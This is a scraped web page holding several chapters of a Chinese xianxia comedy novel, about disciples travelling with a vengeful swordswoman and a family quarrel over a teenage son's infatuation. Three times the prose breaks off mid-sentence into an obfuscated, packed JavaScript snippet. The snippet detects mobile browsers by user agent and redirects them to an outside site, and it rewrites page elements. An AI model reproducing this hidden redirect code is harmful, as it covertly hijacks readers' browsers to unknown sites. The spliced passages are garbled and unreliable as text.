林惜英注意到，虽然沐嫣然没有笑，但跟在沐嫣然身后的那几名年轻男女却都无一例外地低声笑了起来，尤其是其中长得最好看的那个少年，看着最多也就二十岁的样子，从始至终，眼神都未曾从沐嫣然身上移开过。 那眼神，像极了大师兄看她时的眼神。 39. 人间27 被夸好看，沐嫣然似乎并未觉得高兴，淡淡说道:“中人之姿罢了，洛姑娘过奖了。”又转向林惜英和柳惜朝:“我这两位弟弟，给你们添麻烦了，不知你们是如何认识的？” 柳惜朝温言道:“令弟因为仰慕我派琼芳长老，因此前来拜师学艺。我们一路斩妖除恶，相处得十分愉快，他们两个还帮了不少忙呢，何谈麻烦二字？” 帮了不少忙？这几个字传入沐嫣然耳中，沐嫣然一时有些难以相信，但柳惜朝好歹也是长绝山的大弟子，又岂会撒谎。因此她最终还是露出了一丝欣慰之色，道:“如此便好。我这两个弟弟，从小调皮捣蛋，动辄便离家出走，从不让我省心，这次倒好，竟敢背着我跑来这么远的地方。” 柳惜朝道:“沐掌门此番，可是为了寻令弟回去？” 沐嫣然摇头:“并不全是。我此来大昭，是为了寻一仇人，那仇人，不，他是只狼妖，那狼妖杀害了我的父亲，我寻了他整整十年，都未曾寻到他的踪迹，是以想来此地碰碰运气。” 柳惜朝:“原来如此，沐掌门节哀。” “阿姐，”沐灵泽突然插嘴道，“你和少华师姐还有两位师兄走了一路，累了吧？我们坐下说吧，总是站着干嘛？” 刚说完就见沐嫣然斜睨了他一眼。 沐灵泽立刻闭上了嘴。 沐嫣然喝道:“你们两个，立刻随我一起上路！” “啊？！”沐辰风失声叫道。他才不想随沐嫣然一起走，太压抑了，路上连话都不敢大声说。 “啊什么啊？！”沐嫣然瞪着他道，“还想留下来给人家添麻烦么？！” “我们没有给他们添麻烦！”沐灵泽双拳紧握，梗着脖子为自己辩解道，“刚才大师兄不都跟你说了么，阿姐，你为何总觉得我们会给别人添麻烦？我们两个在你眼里就这么没用么？你倒是有用得很，这都十年过去了，也没见你捉到那只狼妖！” 说完就后悔了，但已经收不回来了。 沐灵泽啊沐灵泽，你的嘴是真贱啊，比沐辰风还贱！ 果然，沐嫣然瞳孔骤然放大，握着剑的手恨不得咯咯作响:“你说什么？！你再说一遍！！” 立在沐嫣然身旁的祝少华见状，忙道:“阿泽！怎么跟你阿姐说话呢？！” 路少川也道:“是啊阿泽，你怎么能这么跟师姐说话呢？你知不知道师姐这些年过得有多辛苦？” 这位路少川，便是林惜英方才注意到的，那个从始至终眼睛都没离开过沐嫣然的少年。 与沐嫣然不同，这少年有着一双很黑很亮的眼睛，且唇红齿白，浑身上下散发出来的气质也与沐嫣然截然相反，给人一种古道热肠的感觉。 林惜英不禁在心里想:如此截然不同的两个人，会有结果么？ 气氛突然变得有些微妙，沐灵泽感觉自己的心正突突跳个不停。他看见沐辰风向他投来钦佩的眼神，仿佛在对他说:“阿泽，你不要命了？你竟然敢这样跟堂姐说话？厉害！” 路少川急得嗓子都快冒烟了，绞尽脑汁劝沐嫣然道:“师姐，阿泽年纪小，你别跟他计较，这些年来，你已经很不容易了，既要照顾阿泽和阿辰，还要四处除妖，又如何有时间去寻那只狼妖？阿泽！还愣着干什么？还不快向师姐道歉！” 祝少华道:“阿泽，师姐知道你不是故意的，快向你阿姐道歉！” 然而沐灵泽就是不道歉，反而将脸别了过去，仿佛在告诉大家:“我知道我错了，但我就是不道歉。” 他是真的很想向沐嫣然道歉，但不知道为什么，就是开不了口。 明知道阿姐这些年来过得有多苦，却偏偏要戳她的痛处。他真希望这个时候天上会掉下个什么东西，砸死他这个嘴贱的人算了，实在不行分散一下注意力也行。 好尴尬，尤其是被一堆人盯着，更尴尬了。 柳惜朝也觉得气氛挺尴尬的，轻咳了一声，心道:“我是带着惜英和阿凝走呢？还是不走呢？” 他刚想去看林惜英，希望林惜英能给他一个答案，结果却看见洛纤凝像只小兔子一样直奔沐嫣然而去。 洛纤凝适才望着这姐弟三人，觉得是时候该她这个万人迷登场了，凡是有她在的地方，气氛绝对不能尴尬！ 她上前抱住沐嫣然的胳膊，就像抱林惜英一样，笑容可掬道:“沐姐姐，其实沐灵泽的意思是，他已经长大了，能独当一面了，你应该相信他。他这个人说话就是这样，之前还得罪过我呢，不过我知道，他心地不坏，就是嘴贱了一点，你说是不是，沐辰风？” 沐辰风好半天才回过神来，立刻帮腔道:“是、是！堂姐，洛……师姐说得对，我们已经长大了，你真的不用再担心我们了，我们会照顾好自己的，而且我们这趟出来，不只是为了玩，更是为了打听那狼妖的消息！你说对不对，阿泽？” 他拼了命地向沐灵泽使眼色，并用肩膀推了推他，怎奈何沐灵泽看都不看他一眼。 他真想抬手抽他一耳光，平日里老说他嘴贱，不许他说沐嫣然的半点坏话，可结果呢？ 他只是在背后悄悄地说，他倒好，光明正大地和沐嫣然顶嘴。 果然是一母同胞的亲弟弟，伤人的话脱口而出。 沐嫣然本来很气，但抵不过这么多人安慰她，尤其是洛纤凝，这姑娘好像有一种天生就会安慰人的本事，让人忍不住想与她亲近。 柳惜朝觉得自己有必要帮洛纤凝一把，于是道:“沐掌门，其实我们这趟出来，正是为了降妖除魔，反正大家的目的一致，不如我们结伴同行吧，路上也好有个照应，不知沐掌门意下如何？” 反正只剩下他们三个，一路上也挺无聊的，人多不仅热闹，还安全。况且师父说过，多结交一些江湖上的朋友，总没有错。 “这……”沐嫣然犹豫着，除了她这几个师妹师弟，她还从未与其他人结伴同行过。 “是啊沐掌门，”林惜英也道，“人多力量大，沐掌门不是要找那只狼妖么？没准我们能帮上忙呢。” 师兄师妹都如此出力，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103756|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不好袖手旁观。 这下沐辰风是彻底不高兴了，因为他并不想和沐嫣然一路，日日都受她监视，感觉走到哪儿都有一双眼睛在背后盯着他，盯得他毛骨悚然，而且动辄就要下跪认错，膝盖都要跪秃了。 但他又能说什么呢？他人微言轻的，说什么也没用，好在这一路还有洛林柳三人，也不至于太过无聊。 他偷偷去看沐灵泽…… 这小子嘴角微扬，也不知道在高兴什么。 一行九人这便上路了。洛纤凝与沐灵泽沐辰风落在最后，犹豫再三，还是没忍住问道:“沐灵泽，你阿爹……真的是被妖怪给害死的？” 沐灵泽低着头踢着脚下的石子，闻言回道:“嗯。我阿爹早年间曾杀过一只狼妖，却没想到那狼妖还有一个兄弟，他……他实在可恨！” 沐灵泽刚与沐嫣然吵完架，难免心情不好，不想说话，沐辰风接过他的话道:“我来说吧。那狼妖有一个弟弟，他弟弟为了给他兄长报仇，欺骗了我堂姐的感情，利用我堂姐，将我大伯父骗到了他设下的陷阱里。 “这都是我听少华师姐还有少川师兄他们说的，毕竟那个时候我和阿泽还小，才五六岁，连大伯父长什么样子我们都忘了。我听他们说，从那以后，我堂姐就像变了一个人似的，很少再笑过，不对，是压根没笑过，而且看见妖怪就砍。 “都怪那该死的狼妖！否则我堂姐也不会对我和阿泽这么苛刻，每日都逼我们习武练剑，修习法术，说什么将来她若不在了，我们也好继续找那只狼妖报仇。唉，你是不知道，我和阿泽这些年过得有多苦，一点都不比堂姐苦啊！” 洛纤凝恍然道:“原来如此。” 因为自己的过失，导致父亲惨死，这换谁谁不发疯？虽说狼妖为兄报仇乃是妖之常情，但错就错在他不是用光明正大的手段报仇，而是选择欺骗一个无辜少女的感情来达到报仇的目的。 她又问:“那你阿爹阿娘呢？该不会也是被妖怪给害死的吧？” 沐辰风面色沉重:“嗯，我阿爹阿娘也是在除妖的时候死在了妖怪手里，但后来我大伯父为我阿爹阿娘报仇了，所以我们碧落门一直以来都与妖势不两立。虽说我阿爹阿娘、还有大伯父他们都死在妖手里，但我和阿泽还是觉得，人有善恶，妖肯定也有善恶，不能一概而论，可是我堂姐怎么劝都不听，看见妖怪就砍！ “我真怕有一天她为了除妖，把自己的性命都搭进去，那我和阿泽岂不是又要失去一个……算了，我还是不乌鸦嘴了，阿泽说了，我这张嘴啊，一向最灵验，我还是祝堂姐长命百岁吧，长命百岁长命百岁……” 洛纤凝想了想，又道:“对了，沐灵泽，那你阿娘呢？” 沐灵泽沉默着，好一阵才道:“我阿娘在生我的时候，难产死了。” “啊？！”洛纤凝大惊失色，随即道:“对不起，我觉得我问得好像有点多了，我还是不问了。”说罢一溜烟地窜到了林惜英和柳惜朝身侧，心想原来沐灵泽和她一样，也是没有娘的孩子。 40. 人间28 禾县。 烈阳高照，蝉鸣阵阵，巨大的天空仿佛一座密不透风的蒸笼，将每一个过路之人罩在其中，像是要将人烤化。 一行人走了一路，已是热得大汗淋漓，迫不及待地想找个客栈歇脚。洛纤凝将手搭在眉间，朝前眺望着，忽然，她脚步一停，指着前方道:“大师兄你们看，前面有家客栈！终于有地方歇脚了，我都快热死了……” 柳惜朝看了她一眼，又去看沐嫣然，想询问一下沐嫣然的意见:“这天确实很热，不如我们就去前面的客栈落脚吧，不知沐掌门意下如何？” 沐嫣然点头道:“好，就听柳公子的。” 一行人加快脚步朝那客栈走去，孰料还没走几步，就听见一个女人的骂声自街旁的店铺中响起:“柳小青！你这个不要脸的狐狸精！竟敢勾引我儿子！你给我滚出来！怎么，有胆子勾引我儿子，没胆子出来见我儿子他娘？！” 狐狸精？勾引？ 几个人瞬间被女人这话给勾了魂，也不觉得热了，齐刷刷地停下了脚步，朝那店铺中望去。与他们一同停下脚步的，还有许多路人，男的女的老的少的，霎时间将整个店铺门口围得水泄不通。 这是一家名为“花容阁”的胭脂铺，店铺内，一个中等身材的女人背对着他们大喊大叫着，听声音，应当在三十岁与四十岁之间。站在她面前的，是一个年轻的女伙计，正在向她礼貌赔笑:“西门夫人，我们老板今天真的不在，您这样会影响我们做生意的……” “我就是要让你们做不了生意！”女人扯开嗓子大声吼道，吼完抬脚就要朝后堂闯，“柳小青！我知道你在里面！你给我出来！你今天要是不出来，我就不走了！我倒要看看，你们还怎么做生意！” 就在女人掀开伙计即将闯入后堂之时，后堂的帘子倏地被一双看似纤细柔软、实则十分有力的手指挑开，紧接着，从内走出一名身着青色衣衫、身段极其窈窕的女子，约摸花信之年，生得那叫一个妩媚妖艳，摄人心魂。 想来这便是花容阁的老板，柳小青了。 只见那柳小青并未生气，而是无比从容地对着女人笑道:“哟，这不是西门夫人么？我当是谁呢，嗓门这么大……” “你少给我装！”西门翠花双手叉腰，对着柳小青就是一顿吼，“柳小青！你这个厚颜无耻的女人！我儿子今年才十五岁！你也不照照镜子看看你自己长什么样！你都一把年纪了，怎好意思老牛吃嫩草？！” “……什么？！我一把年纪？！”柳小青显然被西门翠花这话给惊着了，什么从容什么仪态，统统不要了，上前一步瞪着西门翠花道:“我才二十岁出头！你说谁一把年纪呢？！” “老娘我还三十岁出头呢！” “你三十岁出头关我什么事？！我又没勾引你！大姐，我麻烦你搞清楚，是你儿子先勾引的我！别说我没有勾引他，就算勾引他又怎样？！我这么年轻这么貌美还这么有钱，我能看上他，那是他几世修来的福分！” “你……你你……”西门翠花被柳小青一番话噎得无言以对，完全不知道接下来该怎么办了。 柳小青一脸嫌弃地看着面前不知所措的女人，想了想，故意气她道:“你什么你？你要是实在看不过去，那我委屈一下，把你儿子纳了吧！” “……你说什么？！你要纳我儿子为妾？！！”西门翠花震惊得连头发丝都快竖起来了，她觉得自己活了这么久，从未见过像柳小青这般自负且不要脸的女人。 柳小青下巴一抬，道:“那怎么着，他还想做正夫？那可不行，我已经有正夫了，实在不行，给他个平夫吧，这样总行了吧？” “你……你这个臭不要脸的狐狸精！我西门翠花今天跟你拼啦！！” 西门翠花一边高声喊着，一边扑过去掐住柳小青的脖子，但那柳小青显然是个练家子，都不用店里的人帮忙，轻轻松松就将西门翠花的手腕掰去了一边，并抬起腿，一脚将人踹到了店外。 “哎哟！老娘的屁股，老娘的腰啊！不得了了，花容阁的老板打人啦……”西门翠花捂着自己的腰，瘫在地上大叫了起来，围在门口的路人见状，纷纷朝后退了一大步，并掩面偷笑起了这十分滑稽的一幕。 柳小青大步从店内迈了出来，居高临下地看着躺在地上佯装哭泣的西门翠花，没好气道:“敢来找我柳小青的麻烦，我看你是活得不耐烦了！哭！再哭我就再给你一脚！” 西门翠花欲哭无泪:“姓柳的，你竟然敢踹我？！你给我等着，我跟你没完！” 柳小青:“恭候大驾！” 说完这话，她正要转身，就听见一个熟悉的声音从人群中挤了出来:“让开！都给本公子让开！” 姬小宝好不容易从人堆里挤了进来，已是满头大汗。但他哪里还顾得上擦汗，连忙扑上去抱住西门翠花，语气中满是担忧:“娘！娘您没事吧？您怎么躺在这儿？” 西门翠花一见自己的儿子来了，立马又装了起来:“哎哟，我的腰啊，柳小青，你竟然敢踹我……哎哟，我不活了……” 果然，姬小宝一听这话，一下就急了。他抬头去看柳小青，怒目圆睁道:“小青姐姐，你怎么能踹我娘呢？！” 柳小青很是无语地翻了个白眼，指着自己的脖子道:“小弟弟，你看清楚了，是你娘先动手打的我，我脖子都被她掐红了！” “那你也不能对她动手，她毕竟是我娘啊！” “她是你娘干我何事？又不是我娘！赶紧把她带走，别影响我做生意！”柳小青扔下这句话，转身便进了店铺。 姬小宝左看一眼右看一眼，觉得自己的母亲躺在这里实在是有碍观瞻，不成体统，于是轻声劝道:“娘，要不咱们先回家吧？这么多人看着呢……” “我不是你娘！”西门翠花收敛了哭声，冲姬小宝吼道，“你这会儿知道丢人了？早干什么去了？！你这个不孝子，我真是白生你了，你竟然和一个有夫之妇勾搭在一起，还搞得全城人尽皆知，我的脸早都被你丢光了！还在乎这一次么？！” 姬小宝叹了口气，道:“娘，这怎么能叫勾搭呢？我是真心喜欢小青姐姐！” “真心？”西门翠花一巴掌拍在了姬小宝的脑门上，喝道:“真心你个鬼啊！你才多大，知道什么叫真心？！这个女人她分明就是在玩弄你！儿啊，你怎么就是不听为娘的话啊？你今天要是不答应我和她一刀两断，我就躺在这里不回去了！” “娘……” “哎哟，我的命真苦啊，丈夫死的早，儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万万没想到洛纤凝不仅没有谴责柳小青，反而夸赞起了她。沐灵泽眉心一拧，道:“喂，洛纤凝，你怎么能说这样的话呢？你表里不一！” “就是！”沐辰风气冲冲地附和道，“洛纤凝，你怎么能说这样的话呢？柳老板如果是个男子，你恐怕早就上去揍她了！” 对于此二人的愤怒，洛纤凝不以为意，眉眼一扬，轻飘飘道:“怎么，允许你们男人三妻四妾，不允许我们女人三夫四侍？再说了，人家柳老板都能娶夫了，一看就不是寻常人，有钱人多娶几个怎么了？人家这叫风流！你们两个懂什么？！依我看，一切都是这个姬公子的错！明知人家有丈夫，还跑去勾引人家！这种人就应该拉去沉塘！” 沐灵泽:“……沉塘？” 沐辰风:“洛纤凝，你你你……你怎么能这么……” “你什么你？”洛纤凝伸手将沐辰风的手指拍去一边，道:“我说的不对么？只许你们风流，不许我们风流？我看你们两个才是表里不一！” 三个人叽叽喳喳地吵了起来，立在三人身后的祝少华实在没忍住，低下头笑了起来，对一旁的沐嫣然道:“师姐，这位洛姑娘说话倒是挺有趣。” 然而沐嫣然却置若罔闻，一双锐利的眼睛牢牢地盯着花容阁里正在忙碌的柳小青，也不知道在想什么。 41. 人间29 洛纤凝认为柳小青实在没什么大错，因此对于西门翠花的所作所为，觉得甚是不妥，心想这不是打扰人家做生意么？明明是你儿子先犯的错。 这样想着，她上前几步，蹲在西门翠花面前，欲劝一劝她:“这位……西门大妈。” 方才她称自己为西门翠花，这么称呼她，应当没错吧？ 怎料她这话上一瞬刚落，下一瞬就见西门翠花柳眉倒竖，一双大眼眨也不眨地瞪着她，怒道:“大妈？！你叫我大妈？！” 洛纤凝眨了眨眼，心道:“叫大妈不对么？她儿子不是和我一般大么？” 两个人一个蹲着，一个坐着，正僵持着，突然，沐辰风“嗖”的一声挤上前来，将洛纤凝一胳膊肘击去一边，神色颇为严肃道:“洛纤凝！你怎么能管这位姐姐叫大妈呢？！人家明明这么年轻！这么貌美！应当叫姐姐才是！”又转头看向西门翠花，笑眯眯道:“您说是吧，这位……西门姐姐。” 洛纤凝被沐辰风挤得一个趔趄，她扶着林惜英的胳膊站定了脚步，霎时间又好气又好笑，心道这厮的嘴巴什么时候变得这么甜了？话说他说话就说话，挤她做什么？！ “沐辰风！”洛纤凝面朝沐辰风，正欲破口大骂，忽见西门翠花抓住沐辰风的胳膊，两眼放光道:“哎呦喂！这位小公子长得真俊啊！敢问这位小公子，姓甚名谁，家住何处……” “娘！”姬小宝很是嫌弃地望着自己的母亲，张口将她的话截断，“你总说小青姐姐老牛吃嫩草，我看你也没比她好哪儿去，都一把年纪了……” “嘿！”西门翠花伸出一根手指戳在了姬小宝的脑门上，起身骂道:“你这臭小子，你胡说八道什么呢？你说谁一把年纪了？！你娘我才三十五！” 姬小宝别过脸去，压低声音道:“也不知道谁天天骂人家二十几岁的一把年纪，轮到自己就不一样了。” 他这不转头不要紧，一转头就发现了一张很是熟悉的面孔，登时不可置信地瞪大了双眼，缓缓从地上站了起来。 此时此刻，沐辰风满脑子都是:“她夸我长得俊，她夸我长得俊……” 浑然不觉西门翠花正在用一种诡异的眼光打量着他。 洛纤凝则满脑子都是:“沐辰风长得俊？这位西门大妈莫不是有眼疾吧？话说她看沐辰风的眼神怎么这么奇怪？” 正出神着，就听姬小宝一声大吼，惊天动地:“柳大哥？！！” 柳惜朝被这突如其来的一声“柳大哥”吼得肩膀一颤，盯着姬小宝道:“这位小兄弟，我们……之前认识？” 姬小宝激动地扑了过来，抓住柳惜朝的胳膊，生怕他跑了:“柳大哥，我是姬小宝啊，你不记得我了？三年前你来我们这里除妖，被我看见了，我缠着你要跟你去长绝山学艺，结果你趁我不注意一溜烟就跑了！” 柳惜朝嘴角一抽，终于想起了这回事，但仍有些不肯相信:“你……就是当年那个吵着闹着要跟我回长绝山的小孩子？真是难为你了，都过去这么多年了，还记得我长什么样……” “柳大哥你这是什么话！”姬小宝一惊一乍道，“你就算化成灰我都认得你！柳大哥，你又来我们禾县除妖了？这次你说什么都不能再扔下我……” 话未说完，耳朵就被西门翠花狠狠揪住:“姬小宝！你忘了我当初跟你说的话了么？！你要是胆敢丢下我一个人跑去寻仙问道，我就找根绳子把我自个儿吊死！你也不看看你自己什么样，细胳膊细腿的，连把剑都挥不动，还没你老娘我结实，你是修仙那块料么？！” 众人没料到柳惜朝与姬小宝竟是旧相识，尤其是洛纤凝，凑到柳惜朝身边问道:“大师兄，你认识这个姬小宝？这也太巧了吧？” 柳惜朝颇为无奈道:“是啊，我也觉得很巧。不过眼下不是说这个的时候，我们还是尽早找家客栈……” “哎呀！”柳惜朝话还未说完，就看见西门翠花又两眼放光地朝林惜英奔了过去，上下打量道:“好俊俏的姑娘啊！敢问这位姑娘，姓甚名谁，家住何处，可曾婚配？” 林惜英:“……” “这位是我师姐！”洛纤凝窜了过去挡在林惜英面前，又指着柳惜朝道:“这位是我大师兄。西门……姐姐，您看，您闹也闹完了，要不赶快回家去吧，不要打扰人家……” “师妹啊？”不知是不是洛纤凝方才唤西门翠花大妈的缘故，西门翠花似乎一点都不想搭理洛纤凝，瞅着林惜英道:“师妹好啊！”又转到了柳惜朝的面前，央求道:“柳少侠，真是好久不见，你还记得我不？我是你翠花姐姐啊！你这次可一定要帮一帮我，我这个不成器的儿子被那个狐狸精给迷了心窍了，我托媒人给他相看了那么多漂亮的姑娘，可他偏偏看上了一个有夫之妇，还说什么此生非她不娶！你可一定要帮帮我啊柳少侠，否则我就不活了……” 说着说着，又开始抹眼泪，但偏偏眼眶里干巴巴的，没有一滴泪流下来，引得其他几个人笑声连连。 洛纤凝学着西门翠花的口吻，凑到林惜英耳边，小声道:“惜英呐，你还记得我不？我是你翠花姐姐啊！” 林惜英:“……转过去。” 洛纤凝“哦”了一声，转向沐灵泽和沐辰风，笑嘻嘻道:“沐灵泽，沐辰风，你们还记得我不？我是你翠花姐姐啊！” 沐灵泽:“……” 沐辰风:“你有病吧洛纤凝？” 洛纤凝捧腹低笑道:“翠花姐姐，西门翠花，哈哈，好高雅的姓，好朴素的名，哈哈哈……” 祝少华不远不近地看着洛纤凝，觉得这姑娘真是有趣极了。她转头想和沐嫣然聊几句，结果却见沐嫣然依旧保持着方才的模样，一动不动地盯着花容阁里的柳小青。 她不由好奇道:“师姐，你看什么呢？那个柳老板就这么好看么？你怎么一直盯着她看？” 沐嫣然这才收回目光，冷冷道:“没什么。” 那一头，西门翠花还在锲而不舍地抹着脸上并不存在的眼泪，柳惜朝手足无措地看着她，吞吞吐吐道:“翠……翠花姐姐，那个……斩妖除魔我在行，但这事……我恐怕……” “你要是不答应，我就坐在这里不走了！”西门翠花说到做到，一屁股又坐回在了地上，任姬小宝怎么拉都不起来。 沐嫣然没有耐心再继续看热闹了，上前几步对柳惜朝道:“柳少侠，十分抱歉，我们先行一步，我们在前面客栈见。”不等柳惜朝回答，沐嫣然又瞪着沐灵泽和沐辰风道:“沐灵泽沐辰风！你们两个跟我过来！” 沐辰风低呼一声，道:“完了完了，要挨打了。” 再去看沐灵泽，竟很是淡定:“果然，这一天还是到了，走吧。” 兄弟俩垂头丧气就要跟上沐嫣然的步伐，不料还没走几步，就被人一把拽住。 兄弟俩回头一看，竟是西门翠花！ 只见西门翠花拉着沐辰风，笑得一脸开心:“住什么客栈啊小兄弟？住我府上啊！我们姬府家大业大，丫鬟小厮伺候着不好么？干嘛要花那冤枉钱去住客栈？” 沐辰风眼珠一转，心想这真是个好主意。于是当沐嫣然回过身看他的时候，他心虚一笑，道:“堂姐，你看，盛情难却，要不我和阿泽就先住在姬府吧，能省一点是一点，你说是吧？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118902|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沐嫣然眉心一蹙，正欲发作，沐辰风已拉着沐灵泽往反方向跑去，边跑边道:“你放心堂姐！等我和阿泽把包袱放下，马上就来找你！” 沐嫣然怒极，抬脚就欲追过去，祝少华连忙拉住她劝道:“师姐，都走了一路了，不如让他们先歇歇吧，大不了待会儿我们去姬府找他们就是了。” “倘若他们又跑了呢？！” “不会的，”祝少华低声道，“师姐，难道你没看出来，他们两个很喜欢和洛姑娘待在一起么？只要洛姑娘不跑，他们两个是不会跑的。” 沐嫣然杵在原地，看着拐角处时不时探出来的那两颗脑袋，犹豫再三，终是作罢，折回去对柳惜朝叮嘱了几句后，带着祝少华等人往客栈的方向去了。 望着沐嫣然远去的背影，兄弟二人长出了一口气。沐辰风拉着沐灵泽从角落里蹦了出来，对柳惜朝道:“大师兄，你们商量得怎么样了？要不我们就去姬府暂住吧？还有，我堂姐刚才跟你说什么了？” 柳惜朝瞥了他们一眼，道:“沐掌门……” “还能说什么？”洛纤凝抱着胳膊道，“当然是让我们看好你们，并且让你们待会儿去前面的客栈找她喽！” 沐辰风:“不是现在就好。” 沐灵泽:“那我们住哪儿？” “这还用问么？”沐辰风瞅着沐灵泽道，“当然是住在姬府了！你难道想每天一睁眼就看见堂姐那张阎王脸啊？再说了，能省则省，你说对不对啊？大师兄，林师姐？” 柳惜朝仍在犹豫，一旁的西门翠花趁热打铁道:“柳少侠，我说你们有什么好犹豫的？我们都是旧相识了，哪有让你们去住客栈的道理？再说了，这么热的天，你们杵在这儿不热么？走，跟翠花姐姐回家，翠花姐姐让厨房给你们熬绿豆汤还有酸梅汤喝！” 绿豆汤？酸梅汤？ 一听到有好吃的好喝的，洛纤凝眼睛都亮了，凑到西门翠花跟前问道:“每天都有么？” “那当然了！”西门翠花十分豪爽地拍了拍胸脯，“每天都有！你们想什么时候喝都行！” 这可把洛纤凝给馋坏了，她舔了舔有些发干的嘴唇，眼巴巴地望着柳惜朝:“大师兄，走吧走吧，有免费的地方住多好呀，干嘛花那冤枉钱去住客栈？再不走，我都快渴死了。”说着便将下巴搁在了林惜英的肩膀上，一副蔫巴巴即将枯萎的模样，惹得沐灵泽和沐辰风偷笑不已。 柳惜朝瞪她一眼，道:“瞧你那出息！” 罢了，无非是劝姬小宝迷途知返而已，算不得什么难事，就当行善积德了。 于是欣然答应了西门翠花的请求。 一刻钟后，当西门翠花带着五个人回到姬府，让丫鬟小厮收拾出五间房时，洛纤凝赶忙道:“不用这么麻烦，我和我师姐住一间就好。” 沐灵泽也道:“对对对，我和沐辰风住一间就好。” “那怎么行！”西门翠花吼道，“我们姬府家大业大，还差这一两间房么？传出去别人要说我西门翠花小气的！必须一人一间！” 洛纤凝:“……” 好大方。 沐灵泽:“……好吧，那就恭敬不如从命了。” 西门翠花又看着姬小宝道:“小宝啊，你带着你柳大哥还有林姐姐去凉亭那边坐坐，你们好好叙叙旧，好好聊聊天，娘就不打扰你们了，快去。” 姬小宝蔫头耷拉地翻了个白眼，心道他还不知道西门翠花想干什么，无非是想撮合他和林惜英罢了，虽然林惜英长得很好看，甚至比柳小青还好看，但他才不是那么肤浅的人！他姬小宝这辈子只爱小青姐姐！ 42. 人间30 六个人在凉亭内坐定，不多时，丫鬟小厮便端来了茶水和点心。 柳惜朝喝着茶道:“说说吧，那个柳老板到底有什么好，值得你和你娘闹成这样。” 姬小宝想都未想便脱口而出:“小青姐姐她哪里都好！” 柳惜朝放下茶杯，打算好好劝一劝他:“就算她哪里都好，你也不能打她的主意，你明知你娘不会同意，也明知她……” “我不管！我就要她！”姬小宝眼神坚定，面容倔强，“在我姬小宝的心里，小青姐姐是这世间最美最好的女子！她妩媚，妖娆，婀娜，讲话风趣，还会功夫，浑身上下每一个地方都充满了魅力，不像有些人，虽然长得倾国倾城，但总是板着一张脸，冷冰冰的，美则美矣，毫无韵味……” 说到此处，忽然感觉有什么东西在自己一侧的脸颊上扫来扫去，火辣辣又凉嗖嗖的，他扭头一看，登时一怵，磕磕巴巴道:“洛洛洛……洛姑娘，林林林……林姑娘，你你你……你们两个瞪我做什么？我可没有说你们，我在说……外面那些女人，嘻嘻。” 罢了，住在人家府上，还是不要动手的好。洛纤凝端起林惜英面前的茶杯，捧到林惜英唇边，笑嘻嘻道:“师姐，我们喝茶，我们不生气。” 林惜英接过洛纤凝手中的茶，一饮而尽，而后狠狠往桌上一拍，拍得姬小宝浑身一抖，片刻后，连人带凳往柳惜朝旁边挪了挪，一副小鸟依人的模样。 其余四人都低下头悄无声息地笑了起来，笑完之后，柳惜朝清清嗓子，继续劝道:“小宝啊，你难道一点都不觉得你这种行为有些不妥么？人家柳老板毕竟是有夫之妇……” “有夫之妇怎么了？！”姬小宝听了这话，瞬间将方才畏畏缩缩的举动扔去了一边，又恢复了以往的无理取闹。他振振有词道:“窈窕淑女，君子好逑！本公子大胆追求心中所爱，何错之有？！齐叔平那个黄脸公，都一把年纪了，既没有我年轻，也没有我貌美，他哪里配得上小青姐姐那样的大美人？！” 柳惜朝:“……” “那个，”洛纤凝一边憋着笑，一边没忍住开口道，“不……哈哈哈……不好意思，打断一下，我觉得……你这话有些不太礼貌，毕竟我们每个人都是会老的，你以后也是会……” “老的”二字还未说完，就见姬小宝一掌拍在桌上，“腾”的一声站起身来，双手叉腰，声音直冲云霄:“但他永远比我老！！！” 洛纤凝:“……” 这小子真是油盐不进，冥顽不灵，真想把靴子脱了给他两下，拍死他算了。 再去看沐灵泽和沐辰风，早已笑得东倒西歪前仰后合，口中的点心喷了一地；柳惜朝也没好到哪儿去，虽然在尽力克制；林惜英则闭着眼睛皱着眉头，一脸的“聒噪至极”。 无视几人的笑声，姬小宝坐回凳子上，再一次口出狂言道:“反正我还年轻，我等得起！总有一天，小青姐姐会休了那个没用的老男人，光明正大地被我娶回家……” “等等等……等会儿！”洛纤凝笑中抽空，打断他道，“难道不是她光明正大地把你娶回家么？” 人家柳小青怎么说也是个老板，能娶夫，为何要嫁人？ “什么啊！”姬小宝伸长脖子，斗志昂扬道，“当然是我娶她了！我一个有手有脚的大男人，干嘛要去当赘婿？！我才不像齐叔平那没用的东西，连个女人都娶不回来，一辈子靠女人过活！” 洛纤凝:“……” 你倒是有用得很，还不是每天游手好闲在街上乱窜。 话说这个齐叔平到底长什么样呢？如果真的是个黄脸公，那柳小青没道理不休了他呀。 姬小宝咽了口唾沫，厚颜无耻道:“柳大哥，你就帮帮我嘛，你武功这么好，你去让小青姐姐休了那个老男人……” “什么？！”柳惜朝震惊道，“你让我帮你拆散他们？我就算武功再高也做不来这种事，你还是另请高明吧。” 这小子真是没救了，不仅没有被他说服，反而想说服他帮忙拆散人家夫妻俩，简直有辱斯文！ 